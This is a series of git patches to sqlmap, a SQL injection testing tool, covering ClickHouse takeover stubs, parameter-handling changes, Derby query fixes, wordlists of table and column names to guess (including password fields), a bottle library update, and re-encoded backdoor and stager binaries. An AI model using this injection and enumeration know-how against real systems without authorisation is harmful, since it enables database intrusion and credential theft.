b/plugins/dbms/clickhouse/fingerprint.py index 5b2b5fe3c5e..4007a6b8f2d 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index f061c246972..8f862bf1a6e 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,11 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - pass + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 609eb44321f..84b1c0e032c 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -239,7 +239,7 @@ def dumpTable(self, foundData=None): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) From d3bfe59401d0b756d4faf8093e732d7233358847 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:40:42 +0100 Subject: [PATCH 119/599] Fixes #5308 --- lib/controller/controller.py | 18 ++++++++++++++++++ lib/core/option.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 2ea81d9c242..22cd581614c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -568,6 +568,24 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + testSqlInj = False + kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/option.py b/lib/core/option.py index 72d834d07cc..2d50d84f9f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2145,6 +2145,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b6a74fac41..e37f909ab44 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.5" +VERSION = "1.7.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4357b0087d4152caba0bb04b702d9b119dfbc537 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Feb 2023 09:49:42 +0100 Subject: [PATCH 120/599] Minor refactoring for #5308 --- lib/controller/controller.py | 35 +++++++++++++++++------------------ lib/core/settings.py | 2 +- 2 files changed, 18 insertions(+), 19 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 22cd581614c..8441279a954 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -512,6 +512,23 @@ def start(): testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) + if kb.processUserMarks: + if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): + if kb.processNonCustom is None: + message = "other non-custom parameters found. " + message += "Do you want to process them too? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processNonCustom = choice == 'Y' + + if not kb.processNonCustom: + infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + continue + if paramKey in kb.testedParams: testSqlInj = False @@ -568,24 +585,6 @@ def start(): infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - if kb.processUserMarks: - if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - if kb.processNonCustom is None: - message = "other non-custom parameters found. " - message += "Do you want to process them too? [Y/n/q] " - choice = readInput(message, default='Y').upper() - - if choice == 'Q': - raise SqlmapUserQuitException - else: - kb.processNonCustom = choice == 'Y' - - if not kb.processNonCustom: - infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) - logger.info(infoMsg) - - testSqlInj = False - kb.testedParams.add(paramKey) if testSqlInj: diff --git a/lib/core/settings.py b/lib/core/settings.py index e37f909ab44..bdd4fcc045a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.6" +VERSION = "1.7.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c5d7c542a2d0c7df8dc6d867e33a4d95bbdd61ff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 12 Feb 2023 17:12:38 +0100 Subject: [PATCH 121/599] Update for Apache Derby (#5315) --- data/xml/queries.xml | 12 ++++++------ lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a3e006ccb72..300e7097595 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -938,8 +938,8 @@ - - + + @@ -962,11 +962,11 @@ - + - + @@ -975,11 +975,11 @@ - + - + diff --git a/lib/core/agent.py b/lib/core/agent.py index 53ef84a0835..539183e3f3b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1028,7 +1028,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): diff --git a/lib/core/settings.py b/lib/core/settings.py index bdd4fcc045a..c5e94944a29 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.7" +VERSION = "1.7.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index 2a5a7797359..19d6f4c7c10 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.DERBY logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") if result: infoMsg = "confirming %s" % DBMS.DERBY From 56177c3d2a7776f4afb8cbe2a1b52ce535060d61 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 13:32:38 +0100 Subject: [PATCH 122/599] Minor update of common tables/columns --- data/txt/common-columns.txt | 32 ++++++++++++++++++++++++++++++++ data/txt/common-tables.txt | 8 ++++++++ lib/core/settings.py | 2 +- 3 files changed, 41 insertions(+), 1 deletion(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index b2e00b3456d..0dd56273635 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1844,6 +1844,10 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp @@ -2731,6 +2735,34 @@ ssn account confidential +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + # Misc u_pass diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8776e2e8864..6e9125c0e2c 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3578,3 +3578,11 @@ users user_usergroup_map viewlevels weblinks + +# site:nl + +gebruikers + +# site:cn + +yonghu diff --git a/lib/core/settings.py b/lib/core/settings.py index c5e94944a29..d62b8d90b14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.8" +VERSION = "1.7.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 01310a47fdddfa48e7f658b35d9a8225ac27ab64 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:35:35 +0100 Subject: [PATCH 123/599] Minor update --- doc/CHANGELOG.md | 5 +++++ lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1281080c040..a6c344a34e7 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,8 @@ +# Version 1.7 (2022-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) diff --git a/lib/core/settings.py b/lib/core/settings.py index d62b8d90b14..a871a89217b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.9" +VERSION = "1.7.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15d9c8f9ede7e359fbe6d5f7555d3bd9e4faa2c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 14:44:56 +0100 Subject: [PATCH 124/599] Updating bottlepy to the latest revision --- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 80 ++++++++++++++++--------------------- 2 files changed, 35 insertions(+), 47 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a871a89217b..71e4a85c51a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.10" +VERSION = "1.7.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 48aefbb69a3..916e2607d5f 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -69,12 +69,12 @@ def _cli_patch(cli_args): # pragma: no coverage # Imports and Python 2/3 unification ########################################## ############################################################################### -import base64, calendar, cgi, email.utils, functools, hmac, imp, itertools,\ +import base64, calendar, cgi, email.utils, functools, hmac, itertools,\ mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib from types import FunctionType from datetime import date as datedate, datetime, timedelta -from tempfile import TemporaryFile +from tempfile import NamedTemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize @@ -83,34 +83,6 @@ def _cli_patch(cli_args): # pragma: no coverage except ImportError: from json import dumps as json_dumps, loads as json_lds -# inspect.getargspec was removed in Python 3.6, use -# Signature-based version where we can (Python 3.3+) -try: - from inspect import signature - def getargspec(func): - params = signature(func).parameters - args, varargs, keywords, defaults = [], None, None, [] - for name, param in params.items(): - if param.kind == param.VAR_POSITIONAL: - varargs = name - elif param.kind == param.VAR_KEYWORD: - keywords = name - else: - args.append(name) - if param.default is not param.empty: - defaults.append(param.default) - return (args, varargs, keywords, tuple(defaults) or None) -except ImportError: - try: - from inspect import getfullargspec - def getargspec(func): - spec = getfullargspec(func) - kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) - return kwargs, spec[1], spec[2], spec[3] - except ImportError: - from inspect import getargspec - - py = sys.version_info py3k = py.major > 2 @@ -123,9 +95,17 @@ def getargspec(func): urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module import pickle from io import BytesIO import configparser + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] basestring = str unicode = str @@ -143,9 +123,12 @@ def _raise(*a): from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser from collections import MutableMapping as DictMixin + from inspect import getargspec + unicode = unicode json_loads = json_lds exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) @@ -256,6 +239,7 @@ def __get__(self, obj, cls): setattr(cls, self.__name__, value) return value + ############################################################################### # Exceptions and Events ####################################################### ############################################################################### @@ -1353,7 +1337,7 @@ def _body(self): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: - body, tmp = TemporaryFile(mode='w+b'), body + body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True @@ -2010,6 +1994,7 @@ def apply(self, callback, route): dumps = self.json_dumps if not self.json_dumps: return callback + @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) @@ -2057,7 +2042,7 @@ def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) + self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], @@ -2066,10 +2051,15 @@ def __init__(self, name, impmask): }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname = fullname.rsplit('.', 1)[0] - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self def load_module(self, fullname): @@ -2825,18 +2815,15 @@ def redirect(url, code=None): raise res -def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024, close=False): - """ Yield chunks from a range in a file, optionally closing it at the end. - No chunk is bigger than maxread. """ +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) + while limit > 0: + part = fp.read(min(limit, bufsize)) if not part: break - bytes -= len(part) + limit -= len(part) yield part - if close: - fp.close() def static_file(filename, root, @@ -2940,9 +2927,10 @@ def static_file(filename, root, if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] + rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) - headers["Content-Length"] = str(end - offset) - if body: body = _file_iter_range(body, offset, end - offset, close=True) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) @@ -3359,7 +3347,7 @@ def run(self, handler): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover depr(0, 13, "fapws3 is not maintained and support will be dropped.") @@ -4276,7 +4264,7 @@ def wrapper(*args, **kwargs): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result return wrapper From 1f82d9587a78ecee9b9e8274d83a359cc59f546b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:08:49 +0100 Subject: [PATCH 125/599] Minor patch --- lib/core/settings.py | 2 +- lib/core/threads.py | 18 +++++++++++------- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 71e4a85c51a..7be8208c3d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.11" +VERSION = "1.7.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 4999b84919c..8b5a21deff2 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -8,6 +8,7 @@ from __future__ import print_function import difflib +import sqlite3 import threading import time import traceback @@ -227,16 +228,19 @@ def _threadFunction(): if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() - except: + except Exception as ex: print() if not kb.multipleCtrlC: - from lib.core.common import unhandledExceptionMessage - - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False From 25fe5dce211366cd41dafc8fc304770e4008d9fb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:17:09 +0100 Subject: [PATCH 126/599] Minor update --- .github/ISSUE_TEMPLATE/bug_report.md | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index b7753a2553d..0a2d0fe4aea 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -21,10 +21,10 @@ A clear and concise description of what you expected to happen. If applicable, add screenshots to help explain your problem. **Running environment:** - - sqlmap version [e.g. 1.3.5.93#dev] - - Installation method [e.g. git] - - Operating system: [e.g. Microsoft Windows 10] - - Python version [e.g. 3.5.2] + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] **Target details:** - DBMS [e.g. Microsoft SQL Server] diff --git a/lib/core/settings.py b/lib/core/settings.py index 7be8208c3d1..3a038d91aad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.2.12" +VERSION = "1.7.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d5547d908ccb79519a3852e7d0b46ab41b7be559 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Feb 2023 15:20:15 +0100 Subject: [PATCH 127/599] Periodic recloak --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/12/lib_postgresqludf_sys.so_ | Bin 3257 -> 3257 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes lib/core/settings.py | 2 +- 46 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 5a81545e020ea8d948e3cde1aaf919b72d0d5144..bc912038c7d86ba294f7666855fbd54882c1fe05 100644 GIT binary patch literal 243 zcmV+5QGZRwz+!(bdj?saKaD;5;n8f6+}W~(3=UnrHep=d%{3Fz z9SWhR3tefdzO!1X!7A_q2yjn)*i&l|oa2+@tk6RODSgl0f&r;mH& zv|)cTx!?UL8ota>a^uH1Lx0n$m2U7QW($>~-<($f8iH?C!M50s|+!bcN~h^zC;eZ)j_YbGus=_2l*DqS)vYjIMfl>m!@ z3Bsy*&@8ty{kzC%uI->+K5 zn`CZhy8gf#Ae+Ka3d80ZYeon9r8E+h1>L%4p^!K;eQ3VgE?}Qb3M+ZYp5w0oHs*viu!UQcBtc~9r1&c z6s_m~@o3vb!k&=3h|Wp#^YVw+rF7`gw$T!lYQRUF7`q;NXDOB08E7MUNbUzS#KE|) zDA%@%gTI(S^GC+(bPZj(MbfmPBSbkT)^ys+H7*6=KSOL$#(hRHL3s_~ku=@Df9a5i z9F*3yi;8iB)Le_=?=myAQujT!$$ALe#LIi5lg=H)h~uwlv#M#|9^86#HR_}1B5uNA zrk)51m-JgK9 z4we~Vy!BA6s5!}Rpzm+|okIt;XB>4naDVDrhD@oXF+rcY*Lc1c`q=)&Cxxl|-m0`K zZPL+O2%n1*qRL1}eSQyq>qFR3tb6N#obcfm||RKk0!|k={8Cq LInkIxUuv?Osu0)B literal 417 zcmV;S0bc$+($XQA6R~A=H`Umd=-fhYe!N0AEvg=3li_)g{igEdbweT;dP~}OSV4FW%NGybm8c7~Ya?1%byy2OS z2hykCfS#pt$zsUs3@v<^YS*RoAY}v<>`~OpO%5c$5Jr6j#aw#>dt3wI=@k5*Q0#%y zAGPa-v9EuFtbD4&z&9e{QPu#2^Irzryz5$myvq!ci^7sxiH~RBX8c=K8t<~QAy5BP zoV%nD0hN1zs+)4v2u6IBH=>nyv(D+^?l9Bv=>)#{6&ZqDN9^_Xg-C#xq+= LI`E}%Wly}Dn^@JY diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index 8d01202f00f60d8abf559d8b1a3abc912e80d389..f798ea5778c5d1a0e0f78434e59d800d1da08dfa 100644 GIT binary patch literal 359 zcmV-t0hskb!+$Z#v>C=>w&B%E5@*^lNB6Grq( zPb#LPt_!T$&~i)YK!svLRR^lH_GgVUigp8Y$yC-iYI)0(^6)E6iTH4P3YO2v*0FW? z;yH(8K)|aBe*ZLWGYIzo4-slnOTkV`GC`N0fl>CPLll1Mk2GxU_^`|34;Vj<&;)~k 